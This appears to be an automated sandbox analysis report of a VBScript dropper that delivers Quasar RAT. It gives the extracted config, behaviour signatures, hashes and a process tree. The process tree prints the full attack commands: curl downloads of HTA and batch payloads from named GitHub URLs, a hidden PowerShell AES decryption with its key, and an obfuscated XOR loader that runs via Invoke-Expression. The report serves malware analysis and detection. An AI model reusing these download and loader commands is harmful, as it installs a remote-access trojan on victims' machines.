Analysis

  • user interaction
    yes
  • max time kernel
    299s
  • max time network
    206s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20260130-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20260130-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
  • submitted
    28/04/2026, 16:13

General

  • Target
    adb exploit.vbs
  • Size 2KB
  • Sample260428-tpblfaft6p
  • SHA256 f2166dac295b232478248f546fccc082410e13970225f2b7f9f6dbc3c4fdf3d2
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Family
  • quasar

Attributes
  • encryption_key

    AFA3CAD4ED1D6F9700536DD60F51307FFEA2892B

  • key_salt

    5a23f8394640cb9e40658446a04c0bbae82dc93d0470e1b2a406a90fd2520382

  • reconnect_delay

    3000

Signatures

  • Family: Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs
  • cURL User-Agent 3 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\adb exploit.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4576
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\kFcnW1K5vAH.ps1"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5992
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c wscript //nologo C:\Users\Admin\AppData\Local\Temp\V7YmmGS7TnD.vbs
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4804
        • C:\Windows\system32\wscript.exe
          wscript //nologo C:\Users\Admin\AppData\Local\Temp\V7YmmGS7TnD.vbs
          4⤵
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:6012
          • C:\Windows\System32\curl.exe
            "C:\Windows\System32\curl.exe" -s -L -o "C:\Users\Admin\AppData\Local\Temp\LVPmNj.hta" "https://raw.githubusercontent.com/demarcusnofatherington420-a11y/nucom/refs/heads/main/WindowsDefenderRuntimeService.hta"
            5⤵
              PID:5688
            • C:\Windows\System32\mshta.exe
              "C:\Windows\System32\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\LVPmNj.hta"
              5⤵
              • Checks computer location settings
              • Suspicious use of WriteProcessMemory
              PID:4416
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$k=[byte[]]@(95,194,117,41,212,7,187,158,124,210,21,249,154,50,32,242);$i=[byte[]]@(108,191,225,154,77,180,250,55,147,114,235,207,244,250,63,104);$c=[Convert]::FromBase64String('Jg5WMw9ypIKeTkKa+F+vnA273DGkXIVjq8sVp5oify99u6mp8d3pl+IROBKwYgsEkejk8OVlI5D0x7+jzYGalu2D3tDcmwpUDX/WBQ2mZifBoS5C4zaG1qIx3CKjvERnDJk+QWMSf8pn2WqjEMtuLAdo7eEm6L7bbAXHhcENc1/YFQhZCIP2BH8O4kR7tyOaoNJtpo65LHE8Z5QcX1ljfMTwYI/F1IeXjndUwqeRyvmPT2ca67p+33hOjZoldu2cyNjqaevTG9W7/sUxgRkjghnHbs0CirUPHAQL0YDZTiXO8A9yEnXaOtZMvW8oFgJg5HIpbq5FAvxGFOG+hTB/o03DRhvoKAtQcyvMCb2RcM85fwYfCvIn+Sl4bZQNzF8ihaT2RVZ5ysCNRr+N8p3ZNSYchYMUjm3xd6o238DRuF6P5SjiVI5mkQO8ze8EHH9JrBplFFzXN69FDnvMsVTFs54q94HpisQkeNkdZIFNH1W6OBBSbLBiIYLwC576YpUuOBWgo5Do8uDR7OCbuZ9SS7piYPIXO3RCs+6T5OOBtDwaykDo1j8s6/978HTV97OxiNGEm50J79w/iaAI8Df7n4kj2+Y1m41b+7AZTx2I4rzebOO7BArUlAwqhGMGitFjXYiBwI8y1669YfdcvIbvIUKtmxihNfj0Q09saFFUpTvwe7Ix0q27ZYSIbXsI0uuNGpVy0HoHu/3MzxxmFpqe/afvir6uUnNlqiWrs3bTEU2alKS0vGAUXPOZIPtJWdrY75KaAwFNWBD91aWNI6VJD20AenxZOXAyE8b7OGulcFfkiqgx5udj2IsCdiz1NNug7RKfLzvmnoFdFPo33LRnNI0/PeLm0w4CAifeOX4+kf1qXQ+GpIQFV5FgbrH9W74Zdt+RLSq9Dp5h3gwGcwRKaFnCuI46VMaR3CDV2dMrTj0fG8Je3ITrQxAXzsnrusVDA5ab7SxBRXR2n/DPyP7UvclFRUm90O6GlUQBou4kT0k4pRdHZ+L912bM1ANtI9Rl7q3eR4Z+SGxZ0WujaSnlg/RGmXIBLIZTZfDb15o4LrtmEc7yp2Ew1WFuK7a7GD/1i1o0brhFcFY5hh+arMbHY3nlABEIVucnSI1rXLflilgjAfaRa2fBRFtPWmjCYWwgcAlYbF0Vhw0kc4XCo7Cz25mq8BHg66JMmnqeC3Q5JkMDUSYYomjR5UpVIN//QOIBxkqC+GxR4fv34ej+7z1+KF5vWwoggYaT+6w9T0yF+GArEDrni3Ma+Q6+TEbIixDugoUDcbHqrfKK9UVVuG7uMEXxgcRXQbfUyIaiGECb3r3t9nS/5WBYr1SeiPB0QxllMEiheZWr6WGNOlbWpZgpkyAkeY7KUgblHmSCnp8GtUCsVdJgTeVQyTDJmEqhy3PWu7beg0PSedVi1SFANOJRXCEMJfjSraSzyhlvqjiSm+4C579Xb13gtk3S+pUUu54kJxuf5JvzaTd+NQn7UrOrOpEIC5SPWFVe0LTSk0MRvKOhmGeM1sU0DZY67Of1Bhh+eIXWuGU5cARAXzp0YPT5anQpc3q5PQ7/iSbMO4FN+v0c7muoC4SrZFWiDkadTXN3zSxMHXsuvLpEWE0CPoDVTbZ7dLLPa/UjMnJ+jz+zsVxXsIkBx2NwxOcfBF/IS72Xnvjjeoz2iLgmuUALfCflnXn3CJAY9Uz6+VsLrZv+nf1/wIvWzWfYqWqY/WwI9+UA0zlaQQ0cIfK0PJriSXGjo/SIJlf9170/lzqfJbmsEEpluToeH2v324K7ONjN5+oxUQQcyz7dLECat9jTN/O2uA==');$a=New-Object Security.Cryptography.AesCryptoServiceProvider;$a.Key=$k;$a.IV=$i;$a.Mode='CBC';$a.Padding='PKCS7';$d=$a.CreateDecryptor();$p=$d.TransformFinalBlock($c,0,$c.Length);[Console]::OutputEncoding=[Text.Encoding]::UTF8;Write-Host ([Text.Encoding]::UTF8.GetString($p));"
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:1104
              • C:\Windows\System32\curl.exe
                "C:\Windows\System32\curl.exe" -s -L -o "C:\Users\Admin\AppData\Local\Temp\svchost32.bat" "https://github.com/demarcusnofatherington420-a11y/vbs-hta-vbs-bat/raw/refs/heads/main/ya.bat"
                6⤵
                  PID:4656
                • C:\Windows\System32\wscript.exe
                  "C:\Windows\System32\wscript.exe" //nologo "C:\Users\Admin\AppData\Local\Temp\launch32.vbs"
                  6⤵
                  • Checks computer location settings
                  • Suspicious use of WriteProcessMemory
                  PID:3748
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\svchost32.bat" "
                    7⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3288
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell -c "Write-Host ('dedaoL rotcartxE llehsrewoP'[-1..-27] -join '');$path = $env:IdhmBSKvPL;$path = $path.Trim();$path = $path.Substring(1, $path.Length - 2);Write-Host $path;$_1 = Get-Content -Path $path;$_3 = $_1 -split '\n';$_2 = $_3[-1];$_2 = [Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($_2.Replace('\n', ''));$_4 = New-Object byte[] $_2.Length;for ($_5 = 0; $_5 -lt $_4.Length; $_5++) {$_4[$_5] = $_2[$_5] -bxor 0x20;};$_4 = [System.Text.Encoding]::Unicode.GetString($_4);Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows Search' -Name 'oJCTcuyeXV' -Value $_4;$_4 | Invoke-Expression"
                      8⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: AddClipboardFormatListener
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4156

      Network

            MITRE ATT&CK Enterprise v16

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            Downloads

            powershell.exe.log

            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
            • Size 3KB
            • SHA256 a72aa223a84c4fa011c8a2b0ef2475a83d5123de2cdfa6a7160231729e68383d
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 20bef0ef8cb9c65d1bec48a3b769f2a6656af828332bf5175e801b79b6422fc3
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 d109661abe6eb45e485ff9b2441dcd62abf6ccf6d2efcfad44369295720a339f
            • MD5 SHA1 SHA512 TLSH

            LVPmNj.hta

            • Path C:\Users\Admin\AppData\Local\Temp\LVPmNj.hta
            • Size 24KB
            • SHA256 1e910155a45608d8464d82cabd062b37732e3b33248c34f63d8d642aee573b16
            • MD5 SHA1 SHA512 SSDEEP TLSH

            V7YmmGS7TnD.vbs

            • Path C:\Users\Admin\AppData\Local\Temp\V7YmmGS7TnD.vbs
            • Size 765B
            • SHA256 c78715a1dad894b5cd9eb5b9a37e6d0a6255bd909c408db002c0229acc0ab34d
            • MD5 SHA1 SHA512 TLSH

            __PSScriptPolicyTest_035abhlc.pwu.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_035abhlc.pwu.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            kFcnW1K5vAH.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\kFcnW1K5vAH.ps1
            • Size 1KB
            • SHA256 85b5e85ba113ac94dbce79a2083a5b42800f8983f10f950b7db7d9131fb8ebfa
            • MD5 SHA1 SHA512 TLSH

            launch32.vbs

            • Path C:\Users\Admin\AppData\Local\Temp\launch32.vbs
            • Size 125B
            • SHA256 fe0b3f33708d8b50dbeb91d7c3e876ce37fb5257048b9a593d7b0287ce5a2c4c
            • MD5 SHA1 SHA512 TLSH

            svchost32.bat

            • Path C:\Users\Admin\AppData\Local\Temp\svchost32.bat
            • Size 4.1MB
            • SHA256 549f9fed39593ad71da295a4a37c2399d80768f875c2c7ec1092a992894a5668
            • MD5 SHA1 SHA512 SSDEEP TLSH

            memory/1104-37-0x0000019F79740000-0x0000019F7986B000-memory.dmp

            memory/1104-38-0x0000019F79940000-0x0000019F7994C000-memory.dmp

            memory/3748-61-0x000001C936620000-0x000001C93662C000-memory.dmp

            memory/3748-60-0x000001C936450000-0x000001C93657B000-memory.dmp

            memory/4156-57-0x000001D71C840000-0x000001D71C934000-memory.dmp

            memory/4156-59-0x000001D71D4D0000-0x000001D71D508000-memory.dmp

            memory/4156-62-0x000001D701EA0000-0x000001D701FCB000-memory.dmp

            memory/4156-63-0x000001D703860000-0x000001D70386C000-memory.dmp

            memory/4156-58-0x000001D71C460000-0x000001D71C494000-memory.dmp

            memory/4156-56-0x00007FFE65060000-0x00007FFE6511D000-memory.dmp

            memory/4156-55-0x00007FFE66B10000-0x00007FFE66D08000-memory.dmp

            memory/4156-54-0x000001D71C250000-0x000001D71C380000-memory.dmp

            memory/4416-53-0x00000200546A0000-0x00000200547CB000-memory.dmp

            memory/4416-227-0x00000200546A0000-0x00000200547CB000-memory.dmp

            memory/4576-19-0x000001EC96700000-0x000001EC9670C000-memory.dmp

            memory/4576-18-0x000001EC96540000-0x000001EC9666B000-memory.dmp

            memory/5992-16-0x000001C78A910000-0x000001C78AA3B000-memory.dmp

            memory/5992-17-0x000001C78C6B0000-0x000001C78C6BC000-memory.dmp

            memory/5992-1-0x000001C78C7B0000-0x000001C78C7C0000-memory.dmp

            memory/5992-10-0x000001C78C7B0000-0x000001C78C7C0000-memory.dmp

            memory/5992-2-0x000001C78C780000-0x000001C78C7A2000-memory.dmp

            memory/6012-21-0x0000022320DE0000-0x0000022320DEC000-memory.dmp

            memory/6012-20-0x000002231F450000-0x000002231F57B000-memory.dmp